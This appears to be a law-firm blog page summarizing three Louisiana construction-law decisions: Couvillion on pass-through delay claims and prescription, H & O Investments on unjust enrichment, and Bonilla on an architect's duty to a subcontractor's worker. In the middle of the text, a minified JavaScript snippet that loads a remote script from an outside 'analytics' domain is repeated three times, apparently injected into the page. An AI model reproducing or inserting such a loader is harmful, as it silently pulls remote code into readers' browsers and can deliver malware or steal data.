Chelsea A. Payne

In Couvillion Group, LLC v. Plaquemine Parish Government, the Louisiana Court of Appeals for the Fourth Circuit addressed whether the general contractor could recover “pass-through claims” against the owner where those claims would be time-barred if brought directly by the subcontractors. “Pass-through claims” have been described as damage claims that subcontractors “pass through” to the contractor to prosecute an action against the project owner to recover those damages.

In Couvillion, the contractor sued the Parish for delay damages. The trial court awarded $2,782,724 in delay damages, $300,000 of which was for delays incurred by two of the subcontractors.

On appeal, the Parish argued that the contractor could not recover the pass-through claims because any claims for delay that the subcontractors had against the contractor were prescribed (time-barred). The subcontractors sent demand letters after substantial completion in 2013 but did not file suit against the contractor. Under Louisiana law, contract claims are subject to a 10-year prescriptive period. The Parish asserted that by the time trial occurred in 2024, the subcontractor claims had prescribed.

The Fourth Circuit recognized that subcontractors often pass their claims through the contractor to prosecute against the owner to recover those damages. The contractor included those claims in the lawsuit filed against the owner in 2015. When several parties share a cause of action, suit by one party interrupts prescription as to all parties. As such, the court held that prescription was interrupted, and the contractor could recover the pass-through claims against the owner.

This case highlights the importance of identifying and properly preserving pass-through claims early in litigation.

References:

Couvillion Grp., LLC v. Plaquemines Par. Gov't, 2025-0356 (La. App. 4 Cir. 1/7/26), 430 So. 3d 1175, writ denied, 2026-00217 (La. 5/12/26), 430 So. 3d 1090.

‍

Under Louisiana law, unjust enrichment is a cause of action that is based in equity and provides that no one should be enriched at the expense of another. The elements of an unjust enrichment claim are: (1) an enrichment; (2) an impoverishment; (3) a connection between the enrichment and the impoverishment; (4) an absence of justification or cause for the enrichment and impoverishment; and (5) no other available remedy at law. The Supreme Court recently addressed the fourth element regarding the absence of justification for the enrichment.

In H & O Invs., LLC v. Par. of Jefferson Through Sheng, a grass cutting contractor entered into a contract with the Parish for grass cutting in certain areas. The Parish separately contracted with a second contractor for weed control of the same areas. During the contract period, the grass cutting contractor notified the Parish that there was unanticipated weed growth and suggested that the weed control contractor was not properly applying the herbicide. The grass cutting contractor alleged that its work became more expensive because of the weed control contractor’s failure to perform its contractual obligation.

The grass cutting contractor sued the Parish alleging unjust enrichment. The Parish filed an exception of no cause of action, claiming that there was no claim for unjust enrichment because a contract existed between the parties. The Fifth Circuit disagreed and held that the contractor could bring a claim for unjust enrichment because there was no contractual claim between the contractor and the Parish, as both parties fulfilled their contract obligations.

The Supreme Court reversed, noting that a claim for unjust enrichment requires a showing that there was an “absence of justification or cause for the enrichment.” The Supreme Court held that when a contract exists between the parties, it serves as the law between them, and that contract is the legal cause or justification for the enrichment. Therefore, the contract between the contractor and the Parish was in fact the justification for the enrichment such that it could not be “unjust.” The Supreme Court dismissed the contractor’s suit against the Parish.

Reference:

H&O Invs., LLC v. Par. of Jefferson, 24-554 (La. App. 5 Cir. 12/18/24), writ granted, decision rev'd sub nom. H & O Invs., LLC v. Par. of Jefferson Through Sheng, 2025-00086 (La. 5/20/25), 408 So.3d 958.

;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');

A design professional’s duties and responsibilities on a construction project generally are outlined in its contract with the owner. Does a design professional’s duty extend to third parties? The Supreme Court recently addressed this issue and held that the design professional’s duty to third parties is limited to the terms of the contract documents.

In Bonilla, a construction worker was injured while performing demolition work on a construction project. The worker, who was a subcontractor on the project, filed suit against the architect and the engineer on the project alleging that these design professionals failed to monitor and supervise the execution of the plans to ensure safety on the job site.

The engineer and the architect filed summary judgment motions arguing that they owed no duty to oversee, supervise, or maintain the construction site. The trial court granted their motions. However, the appellate court found the contract between the architect and the owner may have inferred a duty was owed to the worker.

The appellate court referenced contract provisions that required the architect to make weekly site visits and to report to the owner any deviations from the plans. The court noted that the architect was on site the day of the accident and photographed potential unsafe conditions, which would have deviated from the plans. The appeal court reversed the trial court’s ruling granting summary judgment.

The architect filed a writ with the Louisiana Supreme Court, which reversed the appellate court’s ruling and reinstated summary judgment in favor of the design professionals. The Supreme Court emphasized “the duty owed to an employee of a contractor by an engineer or architect is determined by the express provisions of the contract between the parties.”

While the contract documents required the architect to make weekly visits to the jobsite, the purpose of this duty was to ensure that the owner received the building it paid for and that the progress and quality of the work met the plans. More importantly, the contract also provided that these site visits did not create a duty to supervise construction. In contrast, under the terms of the contract, the contractor had control over construction means and methods and responsibility for site safety, specifically including site safety for all employees.

The clear and unambiguous language of the contract dictated that the design professions owed the worker no duty. Therefore, the Supreme Court held that the architect could not be held liable for failing to perform a duty that it had no responsibility to undertake.

Reference:

Bonilla v. Verges Rome Architects, 2023-00928 (La. 3/22/24), 382 So. 3d 62.